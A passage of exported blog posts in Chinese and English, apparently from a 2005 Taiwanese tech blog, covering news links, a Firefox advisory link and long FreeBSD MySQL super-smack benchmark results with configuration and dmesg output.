    "body": "從 <a href=\"http://slashdot.org/\" rel=\"tag\">Slashdot</a> 上看到轉錄自 <a href=\"http://www.cnn.com/\" rel=\"tag\">CNN</a> 報導 <a href=\"http://zh.wikipedia.org/wiki/%E8%87%BA%E5%8C%97101\" rel=\"tag\">台北 101</a> 可能引發地震的新聞：<a href=\"http://science.slashdot.org/article.pl?sid=05/12/04/0512244\">World's Tallest Building Causing Earthquakes?</a>、<a href=\"http://www.cnn.com/2005/WORLD/asiapcf/12/02/taipei.tower.reut/\">Has tallest tower caused more quakes?</a>。\r\n\r\n然後回頭過來找中文的報導 (你知道的，這幾天的新聞不能看，所以不要怪我都沒有看新聞啊 Q_Q)：\r\n<ul>\r\n\t<li><a href=\"http://www.ettoday.com/2005/12/03/327-1877488.htm\">台北101導致地震活動增加？　101：這個說法有意思</a> (<a href=\"http://www.ettoday.com/\" rel=\"tag\">東森新聞報</a>)</li>\r\n\t<li><a href=\"http://news.chinatimes.com/Chinatimes/newslist/newslist-content/0,3546,110503+112005120300071,00.html\">中研院研究員發表專文 超高超重台北101引發地震？</a> (<a href=\"http://news.chinatimes.com/\" rel=\"tag\">中時電子報</a>)</li>\r\n\t<li><a href=\"http://news.yam.com/cna/life/200512/20051203769992.html\">台北101引發地震？ 氣象局:無足夠資料認定</a> (<a href=\"http://news.yam.com/\" rel=\"tag\">蕃薯藤</a>，<a href=\"http://www.cna.com.tw/\" rel=\"tag\">中央社</a>)</li>\r\n</ul>",
    "title": "台北 101 可能造成更多的地震"
  },
  {
    "id": "244",
    "body": "剛剛突然興起，想看看還有沒有其他人被 msi-team 與 qstr 這兩個詐騙集團打到，果然馬上就找到了：\r\n<ul>\r\n\t<li><a href=\"http://www.oui-blog.com/balduran/archives/2005/09/qstr.html\">發了瘋的QSTR</a></li>\r\n\t<li><a href=\"http://www.oui-blog.com/balduran/archives/2005/09/qstr_1.html\">持續瘋狂的QSTR</a></li>\r\n</ul>\r\n其實要找到幹剿文也不好找，因為用 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 找都是 Spam XD\r\n\r\n另外我一直有種感覺，msi-team 與 qstr 這兩個團體背後是同一組人，因為手法、技術都很像。不知道什麼時候會被揭穿...",
    "title": "瘋狂 spam 的 msi-team 與 qstr"
  },
  {
    "id": "245",
    "body": "這是 <a href=\"http://www.ptt.cc/\" rel=\"tag\">Ptt</a> 的網友寄給我的：(我不確定他願不願意公開名字，所以就暫時不寫出來了)\r\n\r\n<a href=\"http://www.flickr.com/photos/gslin/70475987/\"><img src=\"http://static.flickr.com/12/70475987_da57e73ca0.jpg?v=0\" alt=\"\" /></a>\r\n\r\n大意是：\r\n<blockquote>我們深深感謝您的好意\r\n現在正要進行相關的調查和對應手段</blockquote>",
    "title": "周杰倫「麥芽糖」前奏的後續發展"
  },
  {
    "id": "246",
    "body": "雖然 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 不願意透露 <a href=\"http://gmail.com/\" rel=\"tag\">Gmail</a> 是使用哪套防毒軟體，有人還是利用邪惡的方法 (把病毒丟進去看看有哪些被抓出來，然後再跟已知軟體的列表比較) 找出來了，<a href=\"http://gmail.com/\" rel=\"tag\">Gmail</a> 使用 <a href=\"http://www.sophos.com/\" rel=\"tag\">Sophos</a>：<a href=\"http://blog.outer-court.com/archive/2005-12-06.html#n90\">Which Software Scans Gmail's Attachments?</a>、<a href=\"http://thebillygoatcurse.com/37/\">Gmail AntiVirus = Sophos</a>。\r\n\r\n測試的報告在 <a href=\"http://www.thebillygoatcurse.com/gmailresults.html\">這裡</a> 與 <a href=\"http://www.thebillygoatcurse.com/gmailresults2.html\">這裡</a>，與 Sophos 完全符合。\r\n\r\n我本來以為 <a href=\"http://www.google.com/\" rel=\"tag\">Google</a> 會自己搞 (因為我覺得 <a href=\"http://gmail.com/\" rel=\"tag\">Gmail</a> 的量太大，傳統的作法可能不適合？)，沒想到還是採用現有的 pattern 掃瞄 :)",
    "title": "Gmail 所使用的防毒軟體"
  },
  {
    "id": "247",
    "body": "在 <a href=\"http://digg.com/\" rel=\"tag\">Digg</a> 看到的：<a href=\"http://digg.com/security/Kill_Firefox_1.5_with_remote_exploit\">Kill Firefox 1.5 with remote exploit</a>，原文在 <a href=\"http://packetstormsecurity.org/\" rel=\"tag\">packetstorm</a> 的 <a href=\"http://packetstormsecurity.org/0512-exploits/firefox-1.5-buffer-overflow.txt\">Firefox 1.5 buffer overflow</a>。\r\n\r\n依照原文的說法，這次的 security issue 應該足以讓有心人士執行程式了。",
    "title": "Firefox Security Issue"
  },
  {
    "id": "248",
    "body": "這是 <a href=\"http://lists.freebsd.org/mailman/listinfo/freebsd-performance\" rel=\"tag\">FreeBSD-performance</a> 目前的討論：<a href=\"http://lists.freebsd.org/pipermail/freebsd-performance/2005-December/thread.html#1677\">new benchmarks. WAS: FreeBSD MySQL still WAY slower than Linux</a>。\r\n\r\n測試的環境是在本機上跑，主要的測試對象是 Thread Library，包括了：\r\n<ul>\r\n\t<li>libpthread (Default)</li>\r\n\t<li>libpthread + LIBPTHREAD_PROCESS_SCOPE=yes</li>\r\n\t<li>libthr</li>\r\n\t<li>linuxthreads</li>\r\n\t<li>linuxthreads (query cache disable)</li>\r\n\t<li>libthr (query cache disable)</li>\r\n\t<li>libthr (TCP socket)</li>\r\n\t<li>linuxthreads (TCP socket)</li>\r\n</ul>\r\n這幾個測試結果沒有什麼意外，速度最快的是 libthr (即 1:1 Threading)。\r\n\r\n另外因為上面的測試環境是打開 HTT 的情況下測出來的，所以有人建議關掉 HTT，而作者也再跑了一次，發現除了 libthr 快了一點點 (大約 2%) 以外，其他的都沒差。\r\n\r\n再來是有人提出 <a href=\"http://www.tw.freebsd.org/\" rel=\"tag\">FreeBSD</a> 上的 <code>gettimeofday()</code> 非常花資源 (這點在 <a href=\"http://people.freebsd.org/~davidxu/\" rel=\"tag\">David Xu</a> 提供的 <a href=\"http://people.freebsd.org/~davidxu/mysql/mysql_ktrace.txt\">mysql ktrace log</a> 裡面有說到)，所以有人有建議修改 <code>kern.timecounter.hardware</code> (從 <code>ACPI-fast</code> 改成 <code>TSC</code>)，不過作者好像還沒看到 :p\r\n\r\n再來是 kernel config file 裡面好像沒有用 <code>SCHED_ULE</code>？\r\n\r\n這個討論串還在跑，所以還可以看一看長輩們到底有什麼花樣可以玩...\r\n\r\n<strong>Update</strong>：開新的討論串在討論了：<a href=\"http://lists.freebsd.org/pipermail/freebsd-performance/2005-December/thread.html#1711\">mysql benchmarks</a>。另外 super-smack 這個程式是 Sasha Pachev 發展的，後來 <a href=\"http://jeremy.zawodny.com/blog/\" rel=\"tag\">Jeremy Zawodny</a> 接手 (<a href=\"http://jeremy.zawodny.com/mysql/super-smack/\" rel=\"tag\">MySQL Super Smack</a>)，現在是 <a href=\"http://vegan.net/tony/\" rel=\"tag\">Tony Bourke</a> 在維護 (<a href=\"http://vegan.net/tony/supersmack/\" rel=\"tag\">Super Smack</a>)。",
    "title": "FreeBSD 6.0 MySQL Performance Tuning"
  },
  {
    "id": "249",
    "body": "快三點半的時候 <a href=\"http://hlb.yichi.org/blog/\" rel=\"tag\">hlb</a> 在 BBS 上丟 msg 過來：\r\n<blockquote><pre> 1594 12/10 03:24 收到 <a href=\"http://hlb.yichi.org/blog/\" rel=\"tag\">hlb</a>          !!!!!!\r\n 1595 12/10 03:24 收到 <a href=\"http://hlb.yichi.org/blog/\" rel=\"tag\">hlb</a>          <a href=\"http://www.yahoo.com/\" rel=\"tag\">yahoo</a> 買了 <a href=\"http://del.icio.us/\" rel=\"tag\">delicious</a>!</pre></blockquote>\r\n如標題所說的：(<a href=\"http://blog.del.icio.us/blog/2005/12/yahoo.html\" rel=\"tag\">y.ah.oo!</a>)\r\n<blockquote>We're proud to announce that del.icio.us has joined the Yahoo! family.</blockquote>\r\n不過更兇暴的是：\r\n<blockquote>(We're also excited to be joining our fraternal twin Flickr!)</blockquote>\r\n(開始幻想 <a href=\"http://www.flickr.com/\" rel=\"tag\">Flickr</a> + <a href=\"http://del.icio.us/\" rel=\"tag\">del.icio.us</a> 的結合...)",
    "title": "Yahoo! 買下 del.icio.us"
  },
  {
    "id": "250",
    "body": "想要測試 <a href=\"http://www.mysql.com/\" rel=\"tag\">MySQL</a> Performance 的時候發現 Ports 裡面居然沒有 <a href=\"http://vegan.net/tony/supersmack/\" rel=\"tag\">super-smack</a>，於是就順手做進去了：<a href=\"http://www.freebsd.org/cgi/query-pr.cgi?pr=ports/90209\">[NEW PORT] benchmarks/super-smack: A benchmarking, stress testing, and load generation tool for Databases</a>。\r\n\r\n一方面是測試 <a href=\"http://www.freshports.org/devel/porttools/\" rel=\"tag\">porttools</a> 要怎麼用，另外一方面也是熟悉一下怎麼做新的 Port (好久沒做過了)。",
    "title": "super-smack"
  },
  {
    "id": "251",
    "body": "剛剛修正了無名相簿的備份程式 (很久前的 Project：<a href=\"http://hasname.com/backup/album/wretch/\">http://hasname.com/backup/album/wretch/</a>)，其實只是修個兩行而已：<a href=\"https://opensvn.csie.org/traccgi/backup/trac.cgi/changeset/54\">Fix wretch album backup</a>。",
    "title": "無名相簿的備份程式"
  },
  {
    "id": "252",
    "body": "I use <code>databases/mysql50-{client,server}</code> and use <code>benchmarks/super-smack</code> to test.  There are 3*2*2*2 = 24 cases:\r\n<ul>\r\n\t<li>Compile options: none, <code>WITH_PROC_SCOPE_PTH=yes</code>, <code>WITH_LINUXTHREADS=yes</code></li>\r\n\t<li><code>/etc/libmap.conf</code>: none (<code>libpthread</code>), <code>libthr</code></li>\r\n\t<li><code>kern.timecounter.choice</code>: <code>ACPI-fast</code>, <code>TSC</code></li>\r\n\t<li>kernel: <code>ULE</code>+<code>PREEMPTION</code>, <code>ULE</code></li>\r\n</ul>\r\nThese benchmarking were tested on my laptop (IBM x31 2672-IQV, Pentium-M 1.5G with 512MB RAM), and <code>powerd</code> was disabled.  Detail informations (dmesg, sysctl, and kernel config file) will post later.\r\n\r\nThe commands are:\r\n<blockquote><code>for i in 1 2 3 4 5; do super-smack select-key.smack 10 1000 | grep select_index; done</code>\r\n<code>for i in 1 2 3 4 5; do super-smack update-select.smack 10 1000 | grep select_index; done</code></blockquote>\r\n<h3>mysql-linuxthreads-libpthread-acpifast-ule+pre.txt</h3><blockquote><pre>\r\nselect_index    20000   0       0       14097.47\r\nselect_index    20000   0       0       13741.43\r\nselect_index    20000   1       0       13704.01\r\nselect_index    20000   0       0       13626.05\r\nselect_index    20000   0       0       13769.32\r\nselect_index    10000   2       0       1891.63\r\nselect_index    10000   2       0       1758.65\r\nselect_index    10000   2       0       1836.00\r\nselect_index    10000   4       0       2058.71\r\nselect_index    10000   14      0       2050.05\r\n</pre></blockquote>\r\n<!--more-->\r\n<h3>mysql-linuxthreads-libpthread-acpifast-ule.txt</h3><blockquote><pre>\r\nselect_index    20000   1       0       12478.07\r\nselect_index    20000   0       0       13340.34\r\nselect_index    20000   1       0       13402.94\r\nselect_index    20000   0       0       13427.98\r\nselect_index    20000   0       0       13516.95\r\nselect_index    10000   2       0       3005.60\r\nselect_index    10000   2       0       3286.45\r\nselect_index    10000   2       0       3289.58\r\nselect_index    10000   3       0       3300.75\r\nselect_index    10000   3       0       3270.95\r\n</pre></blockquote>\r\n<h3>mysql-linuxthreads-libpthread-tsc-ule+pre.txt</h3><blockquote><pre>\r\nselect_index    20000   1       0       13638.09\r\nselect_index    20000   1       0       15204.89\r\nselect_index    20000   0       0       15126.16\r\nselect_index    20000   1       0       15199.22\r\nselect_index    20000   1       0       15111.09\r\nselect_index    10000   2       0       2079.97\r\nselect_index    10000   2       0       1914.26\r\nselect_index    10000   2       0       2154.83\r\nselect_index    10000   2       0       2089.02\r\nselect_index    10000   3       0       2151.76\r\n</pre></blockquote>\r\n<h3>mysql-linuxthreads-libpthread-tsc-ule.txt</h3><blockquote><pre>\r\nselect_index    20000   1       0       13799.12\r\nselect_index    20000   0       0       15007.75\r\nselect_index    20000   1       0       15016.11\r\nselect_index    20000   0       0       15021.71\r\nselect_index    20000   1       0       15034.78\r\nselect_index    10000   1       0       3561.01\r\nselect_index    10000   1       0       3554.91\r\nselect_index    10000   1       0       3554.55\r\nselect_index    10000   1       0       3563.48\r\nselect_index    10000   2       0       3521.84\r\n</pre></blockquote>\r\n<h3>mysql-linuxthreads-libthr-acpifast-ule+pre.txt</h3><blockquote><pre>\r\nselect_index    20000   0       0       12332.69\r\nselect_index    20000   0       0       13531.45\r\nselect_index    20000   1       0       13578.15\r\nselect_index    20000   0       0       13571.15\r\nselect_index    20000   1       0       13625.20\r\nselect_index    10000   2       0       1571.96\r\nselect_index    10000   2       0       2105.13\r\nselect_index    10000   3       0       2080.75\r\nselect_index    10000   3       0       2041.60\r\nselect_index    10000   3       0       2075.76\r\n</pre></blockquote>\r\n<h3>mysql-linuxthreads-libthr-acpifast-ule.txt</h3><blockquote><pre>\r\nselect_index    20000   1       0       12475.24\r\nselect_index    20000   1       0       13450.59\r\nselect_index    20000   1       0       13417.97\r\nselect_index    20000   1       0       13412.57\r\nselect_index    20000   2       0       13383.80\r\nselect_index    10000   2       0       3332.96\r\nselect_index    10000   2       0       3320.67\r\nselect_index    10000   1       0       3038.21\r\nselect_index    10000   2       0       3313.98\r\nselect_index    10000   1       0       3306.03\r\n</pre></blockquote>\r\n<h3>mysql-linuxthreads-libthr-tsc-ule+pre.txt</h3><blockquote><pre>\r\nselect_index    20000   0       0       13663.00\r\nselect_index    20000   0       0       15213.64\r\nselect_index    20000   1       0       15042.29\r\nselect_index    20000   1       0       15174.39\r\nselect_index    20000   1       0       15243.04\r\nselect_index    10000   32      0       1774.45\r\nselect_index    10000   2       0       2226.37\r\nselect_index    10000   1       0       2190.76\r\nselect_index    10000   2       0       1863.09\r\nselect_index    10000   3       0       2109.35\r\n</pre></blockquote>\r\n<h3>mysql-linuxthreads-libthr-tsc-ule.txt</h3><blockquote><pre>\r\nselect_index    20000   0       0       13818.04\r\nselect_index    20000   1       0       15044.14\r\nselect_index    20000   1       0       14952.98\r\nselect_index    20000   1       0       14997.97\r\nselect_index    20000   1       0       14994.28\r\nselect_index    10000   1       0       3559.50\r\nselect_index    10000   2       0       3555.00\r\nselect_index    10000   1       0       3551.69\r\nselect_index    10000   1       0       3544.28\r\nselect_index    10000   1       0       3558.09\r\n</pre></blockquote>\r\n<h3>mysql-none-libpthread-acpifast-ule+pre.txt</h3><blockquote><pre>\r\nselect_index    20000   1       0       12365.81\r\nselect_index    20000   0       0       13426.82\r\nselect_index    20000   0       0       13431.42\r\nselect_index    20000   1       0       13524.88\r\nselect_index    20000   1       0       13461.60\r\nselect_index    10000   3       0       2174.06\r\nselect_index    10000   1       0       2203.14\r\nselect_index    10000   6       0       1965.83\r\nselect_index    10000   2       0       1750.57\r\nselect_index    10000   2       0       2250.18\r\n</pre></blockquote>\r\n<h3>mysql-none-libpthread-acpifast-ule.txt</h3><blockquote><pre>\r\nselect_index    20000   1       0       12489.77\r\nselect_index    20000   1       0       13491.79\r\nselect_index    20000   0       0       13525.43\r\nselect_index    20000   0       0       13523.64\r\nselect_index    20000   1       0       13431.96\r\nselect_index    10000   2       0       3081.10\r\nselect_index    10000   1       0       3080.20\r\nselect_index    10000   3       0       3090.05\r\nselect_index    10000   1       0       3098.17\r\nselect_index    10000   2       0       3084.23\r\n</pre></blockquote>\r\n<h3>mysql-none-libpthread-tsc-ule+pre.txt</h3><blockquote><pre>\r\nselect_index    20000   1       0       13352.18\r\nselect_index    20000   1       0       14704.85\r\nselect_index    20000   1       0       14608.26\r\nselect_index    20000   1       0       14798.53\r\nselect_index    20000   0       0       14689.70\r\nselect_index    10000   0       0       2142.89\r\nselect_index    10000   1       0       2234.18\r\nselect_index    10000   1       0       2179.86\r\nselect_index    10000   2       0       2170.27\r\nselect_index    10000   1       0       2265.08\r\n</pre></blockquote>\r\n<h3>mysql-none-libpthread-tsc-ule.txt</h3><blockquote><pre>\r\nselect_index    20000   1       0       13656.62\r\nselect_index    20000   1       0       14898.67\r\nselect_index    20000   1       0       14752.02\r\nselect_index    20000   2       0       14852.14\r\nselect_index    20000   1       0       14837.82\r\nselect_index    10000   1       0       3007.47\r\nselect_index    10000   2       0       3229.50\r\nselect_index    10000   2       0       3224.31\r\nselect_index    10000   1       0       3231.67\r\nselect_index    10000   3       0       3227.73\r\n</pre></blockquote>\r\n<h3>mysql-none-libthr-acpifast-ule+pre.txt</h3><blockquote><pre>\r\nselect_index    20000   1       0       13554.22\r\nselect_index    20000   0       0       14843.70\r\nselect_index    20000   1       0       14866.88\r\nselect_index    20000   0       0       14887.39\r\nselect_index    20000   1       0       14928.93\r\nselect_index    10000   1       0       1629.05\r\nselect_index    10000   2       0       2236.91\r\nselect_index    10000   15      0       2309.37\r\nselect_index    10000   2       0       2165.72\r\nselect_index    10000   27      0       2159.57\r\n</pre></blockquote>\r\n<h3>mysql-none-libthr-acpifast-ule.txt</h3><blockquote><pre>\r\nselect_index    20000   1       0       13658.64\r\nselect_index    20000   1       0       14971.77\r\nselect_index    20000   1       0       14956.40\r\nselect_index    20000   0       0       14981.85\r\nselect_index    20000   1       0       14999.37\r\nselect_index    10000   2       0       3457.10\r\nselect_index    10000   2       0       3471.44\r\nselect_index    10000   1       0       3461.68\r\nselect_index    10000   1       0       3467.51\r\nselect_index    10000   1       0       3464.31\r\n</pre></blockquote>\r\n<h3>mysql-none-libthr-tsc-ule+pre.txt</h3><blockquote><pre>\r\nselect_index    20000   2       0       14777.00\r\nselect_index    20000   0       0       16435.89\r\nselect_index    20000   1       0       16594.25\r\nselect_index    20000   1       0       16396.86\r\nselect_index    20000   1       0       16459.05\r\nselect_index    10000   1       0       2231.66\r\nselect_index    10000   1       0       2167.76\r\nselect_index    10000   1       0       2196.55\r\nselect_index    10000   1       0       2206.77\r\nselect_index    10000   2       0       2339.63\r\n</pre></blockquote>\r\n<h3>mysql-none-libthr-tsc-ule.txt</h3><blockquote><pre>\r\nselect_index    20000   0       0       15248.38\r\nselect_index    20000   1       0       16618.56\r\nselect_index    20000   1       0       16648.67\r\nselect_index    20000   0       0       16538.45\r\nselect_index    20000   1       0       16674.13\r\nselect_index    10000   1       0       3666.43\r\nselect_index    10000   3       0       3674.07\r\nselect_index    10000   2       0       3686.61\r\nselect_index    10000   1       0       3677.49\r\nselect_index    10000   2       0       3675.10\r\n</pre></blockquote>\r\n<h3>mysql-pth-libpthread-acpifast-ule+pre.txt</h3><blockquote><pre>\r\nselect_index    20000   0       0       9851.83\r\nselect_index    20000   1       0       10051.59\r\nselect_index    20000   1       0       10078.66\r\nselect_index    20000   1       0       10004.09\r\nselect_index    20000   1       0       10079.65\r\nselect_index    10000   1       0       1666.05\r\nselect_index    10000   2       0       1984.58\r\nselect_index    10000   2       0       1898.87\r\nselect_index    10000   2       0       1966.90\r\nselect_index    10000   4       1       1874.67\r\n</pre></blockquote>\r\n<h3>mysql-pth-libpthread-acpifast-ule.txt</h3><blockquote><pre>\r\nselect_index    20000   1       0       9485.41\r\nselect_index    20000   1       0       10073.52\r\nselect_index    20000   1       0       10113.77\r\nselect_index    20000   1       0       10104.63\r\nselect_index    20000   2       0       10107.14\r\nselect_index    10000   2       0       2568.85\r\nselect_index    10000   1       0       2579.42\r\nselect_index    10000   2       0       2564.46\r\nselect_index    10000   1       0       2561.09\r\nselect_index    10000   1       0       2443.52\r\n</pre></blockquote>\r\n<h3>mysql-pth-libpthread-tsc-ule+pre.txt</h3><blockquote><pre>\r\nselect_index    20000   0       0       11129.51\r\nselect_index    20000   1       0       12125.62\r\nselect_index    20000   1       0       12108.58\r\nselect_index    20000   1       0       12148.99\r\nselect_index    20000   1       0       12142.83\r\nselect_index    10000   1       0       1769.50\r\nselect_index    10000   2       0       1961.15\r\nselect_index    10000   3       0       2132.04\r\nselect_index    10000   2       0       2175.26\r\nselect_index    10000   1       0       1964.11\r\n</pre></blockquote>\r\n<h3>mysql-pth-libpthread-tsc-ule.txt</h3><blockquote><pre>\r\nselect_index    20000   0       0       11282.64\r\nselect_index    20000   1       0       12221.35\r\nselect_index    20000   1       0       12176.64\r\nselect_index    20000   0       0       12207.59\r\nselect_index    20000   1       0       12196.39\r\nselect_index    10000   2       0       2850.48\r\nselect_index    10000   2       0       2847.16\r\nselect_index    10000   3       1       2839.71\r\nselect_index    10000   2       0       2846.03\r\nselect_index    10000   2       0       2854.38\r\n</pre></blockquote>\r\n<h3>mysql-pth-libthr-acpifast-ule+pre.txt</h3><blockquote><pre>\r\nselect_index    20000   1       0       13539.93\r\nselect_index    20000   1       0       14858.06\r\nselect_index    20000   1       0       15031.06\r\nselect_index    20000   0       0       14944.30\r\nselect_index    20000   1       0       14939.87\r\nselect_index    10000   1       0       1803.10\r\nselect_index    10000   1       0       2196.92\r\nselect_index    10000   1       0       2315.69\r\nselect_index    10000   1       0       2304.67\r\nselect_index    10000   6       0       2309.06\r\n</pre></blockquote>\r\n<h3>mysql-pth-libthr-acpifast-ule.txt</h3><blockquote><pre>\r\nselect_index    20000   1       0       13754.94\r\nselect_index    20000   1       0       14948.38\r\nselect_index    20000   1       0       15003.24\r\nselect_index    20000   1       0       14971.17\r\nselect_index    20000   0       0       14886.27\r\nselect_index    10000   1       0       3420.30\r\nselect_index    10000   1       0       3270.71\r\nselect_index    10000   2       0       3416.76\r\nselect_index    10000   2       0       3443.20\r\nselect_index    10000   2       0       3423.75\r\n</pre></blockquote>\r\n<h3>mysql-pth-libthr-tsc-ule+pre.txt</h3><blockquote><pre>\r\nselect_index    20000   0       0       14755.44\r\nselect_index    20000   0       0       16653.00\r\nselect_index    20000   1       0       16646.08\r\nselect_index    20000   1       0       16471.75\r\nselect_index    20000   1       0       16591.78\r\nselect_index    10000   1       0       2181.36\r\nselect_index    10000   1       0       2195.38\r\nselect_index    10000   1       0       2153.20\r\nselect_index    10000   1       0       2006.63\r\nselect_index    10000   2       0       2444.98\r\n</pre></blockquote>\r\n<h3>mysql-pth-libthr-tsc-ule.txt</h3><blockquote><pre>\r\nselect_index    20000   0       0       15189.03\r\nselect_index    20000   0       0       16818.74\r\nselect_index    20000   0       0       16624.18\r\nselect_index    20000   1       0       16792.51\r\nselect_index    20000   1       0       16731.49\r\nselect_index    10000   1       0       3652.88\r\nselect_index    10000   1       0       3685.77\r\nselect_index    10000   2       0       3670.86\r\nselect_index    10000   1       0       3665.19\r\nselect_index    10000   1       0       2843.89\r\n</pre></blockquote>\r\n<code>my.cnf</code>:\r\n<blockquote><pre>[mysqld]\r\nskip-innodb\r\nskip-bdb\r\nsafe-user-create\r\nskip-name-resolve\r\nskip-log-warnings\r\nsafe-show-database\r\n\r\n\r\nset-variable = flush_time=86400\r\nset-variable = max_connections=300\r\nset-variable = max_connect_errors=100\r\nset-variable = interactive_timeout=600\r\nset-variable = wait_timeout=60\r\nset-variable = myisam-recover=FORCE\r\nset-variable = key_buffer_size=128M\r\nset-variable = sort_buffer_size=1M\r\nset-variable = read_buffer_size=512k\r\nset-variable = table_cache=4096\r\nset-variable = max_delayed_threads=0\r\nset-variable = max_user_connections=100\r\nset-variable = query_cache_size=128M\r\nset-variable = thread_cache_size=50\r\n\r\n[mysql.server]\r\nuser=mysql\r\n\r\n[safe_mysqld]\r\nerr-log=/var/log/mysql/error.log\r\n</pre></blockquote>\r\ndmesg:\r\n<blockquote><pre>Copyright (c) 1992-2005 The FreeBSD Project.\r\nCopyright (c) 1979, 1980, 1983, 1986, 1988, 1989, 1991, 1992, 1993, 1994\r\n        The Regents of the University of California. All rights reserved.\r\nFreeBSD 6.0-STABLE #7: Mon Dec 12 11:59:54 CST 2005\r\n    root@gslinnb.csie.NCTU.edu.tw:/usr/obj/usr/src/sys/KERNEL\r\nTimecounter \"i8254\" frequency 1193182 Hz quality 0\r\nCPU: Intel(R) Pentium(R) M processor 1500MHz (1498.73-MHz 686-class CPU)\r\n  Origin = \"GenuineIntel\"  Id = 0x695  Stepping = 5\r\n  Features=0xa7e9f9bf&lt;FPU,VME,DE,PSE,TSC,MSR,MCE,CX8,SEP,MTRR,PGE,MCA,CMOV,PAT,CLFLUSH,DTS,ACPI,MMX,FXSR,SSE,SSE2,TM,PBE&gt;\r\n  Features2=0x180&lt;EST,TM2&gt;\r\nreal memory  = 536215552 (511 MB)\r\navail memory = 515358720 (491 MB)\r\nnpx0: [FAST]\r\nnpx0: &lt;math processor&gt; on motherboard\r\nnpx0: INT 16 interface\r\nacpi0: &lt;IBM TP-1Q&gt; on motherboard\r\nacpi_ec0: &lt;Embedded Controller: GPE 0x1c, ECDT&gt; port 0x62,0x66 on acpi0\r\nacpi0: Power Button (fixed)\r\nTimecounter \"ACPI-fast\" frequency 3579545 Hz quality 1000\r\nacpi_timer0: &lt;24-bit timer at 3.579545MHz&gt; port 0x1008-0x100b on acpi0\r\ncpu0: &lt;ACPI CPU&gt; on acpi0\r\nacpi_perf0: &lt;ACPI CPU Frequency Control&gt; on cpu0\r\nacpi_throttle0: &lt;ACPI CPU Throttling&gt; on cpu0\r\nacpi_lid0: &lt;Control Method Lid Switch&gt; on acpi0\r\nacpi_button0: &lt;Sleep Button&gt; on acpi0\r\npcib0: &lt;ACPI Host-PCI bridge&gt; port 0xcf8-0xcff on acpi0\r\npci0: &lt;ACPI PCI bus&gt; on pcib0\r\nagp0: &lt;Intel 82855 host to AGP bridge&gt; mem 0xd0000000-0xdfffffff at device 0.0 on pci0\r\npcib1: &lt;ACPI PCI-PCI bridge&gt; at device 1.0 on pci0\r\npci1: &lt;ACPI PCI bus&gt; on pcib1\r\nacpi_video0: &lt;ACPI video extension&gt; port 0x3000-0x30ff mem 0xe0000000-0xe7ffffff,0xc0100000-0xc010ffff irq 11 at device 0.0 on pci1\r\nuhci0: &lt;Intel 82801DB (ICH4) USB controller USB-A&gt; port 0x1800-0x181f irq 11 at device 29.0 on pci0\r\nuhci0: [GIANT-LOCKED]\r\nusb0: &lt;Intel 82801DB (ICH4) USB controller USB-A&gt; on uhci0\r\nusb0: USB revision 1.0\r\nuhub0: Intel UHCI root hub, class 9/0, rev 1.00/1.00, addr 1\r\nuhub0: 2 ports with 2 removable, self powered\r\nuhci1: &lt;Intel 82801DB (ICH4) USB controller USB-B&gt; port 0x1820-0x183f irq 11 at device 29.1 on pci0\r\nuhci1: [GIANT-LOCKED]\r\nusb1: &lt;Intel 82801DB (ICH4) USB controller USB-B&gt; on uhci1\r\nusb1: USB revision 1.0\r\nuhub1: Intel UHCI root hub, class 9/0, rev 1.00/1.00, addr 1\r\nuhub1: 2 ports with 2 removable, self powered\r\nuhci2: &lt;Intel 82801DB (ICH4) USB controller USB-C&gt; port 0x1840-0x185f irq 11 at device 29.2 on pci0\r\nuhci2: [GIANT-LOCKED]\r\nusb2: &lt;Intel 82801DB (ICH4) USB controller USB-C&gt; on uhci2\r\nusb2: USB revision 1.0\r\nuhub2: Intel UHCI root hub, class 9/0, rev 1.00/1.00, addr 1\r\nuhub2: 2 ports with 2 removable, self powered\r\nehci0: &lt;Intel 82801DB/DBL/DBM (ICH4) USB 2.0 controller&gt; mem 0xc0000000-0xc00003ff irq 11 at device 29.7 on pci0\r\nehci0: [GIANT-LOCKED]\r\nusb3: EHCI version 1.0\r\nusb3: companion controllers, 2 ports each: usb0 usb1 usb2\r\nusb3: &lt;Intel 82801DB/DBL/DBM (ICH4) USB 2.0 controller&gt; on ehci0\r\nusb3: USB revision 2.0\r\nuhub3: Intel EHCI root hub, class 9/0, rev 2.00/1.00, addr 1\r\nuhub3: 6 ports with 6 removable, self powered\r\npcib2: &lt;ACPI PCI-PCI bridge&gt; at device 30.0 on pci0\r\npci2: &lt;ACPI PCI bus&gt; on pcib2\r\npci2: &lt;bridge, PCI-CardBus&gt; at device 0.0 (no driver attached)\r\npci2: &lt;bridge, PCI-CardBus&gt; at device 0.1 (no driver attached)\r\npci2: &lt;serial bus, FireWire&gt; at device 0.2 (no driver attached)\r\nipw0: &lt;Intel(R) PRO/Wireless 2100 MiniPCI&gt; mem 0xc0200000-0xc0200fff irq 11 at device 2.0 on pci2\r\nipw0: Ethernet address: 00:0c:f1:32:b2:92\r\nfxp0: &lt;Intel 82801DB (ICH4) Pro/100 VE Ethernet&gt; port 0x8000-0x803f mem 0xc0201000-0xc0201fff irq 11 at device 8.0 on pci2\r\nmiibus0: &lt;MII bus&gt; on fxp0\r\ninphy0: &lt;i82562ET 10/100 media interface&gt; on miibus0\r\ninphy0:  10baseT, 10baseT-FDX, 100baseTX, 100baseTX-FDX, auto\r\nfxp0: Ethernet address: 00:0d:60:8f:05:50\r\nisab0: &lt;PCI-ISA bridge&gt; at device 31.0 on pci0\r\nisa0: &lt;ISA bus&gt; on isab0\r\natapci0: &lt;Intel ICH4 UDMA100 controller&gt; port 0x1f0-0x1f7,0x3f6,0x170-0x177,0x376,0x1860-0x186f at device 31.1 on pci0\r\nata0: &lt;ATA channel 0&gt; on atapci0\r\nata1: &lt;ATA channel 1&gt; on atapci0\r\npci0: &lt;serial bus, SMBus&gt; at device 31.3 (no driver attached)\r\npcm0: &lt;Intel ICH4 (82801DB)&gt; port 0x1c00-0x1cff,0x18c0-0x18ff mem 0xc0000c00-0xc0000dff,0xc0000800-0xc00008ff irq 11 at device 31.5 on pci0\r\npcm0: [GIANT-LOCKED]\r\npcm0: &lt;Analog Devices AD1981B AC97 Codec&gt;\r\npci0: &lt;simple comms, generic modem&gt; at device 31.6 (no driver attached)\r\nacpi_tz0: &lt;Thermal Zone&gt; on acpi0\r\natkbdc0: &lt;Keyboard controller (i8042)&gt; port 0x60,0x64 irq 1 on acpi0\r\natkbd0: &lt;AT Keyboard&gt; irq 1 on atkbdc0\r\nkbd0 at atkbd0\r\natkbd0: [GIANT-LOCKED]\r\npsm0: &lt;PS/2 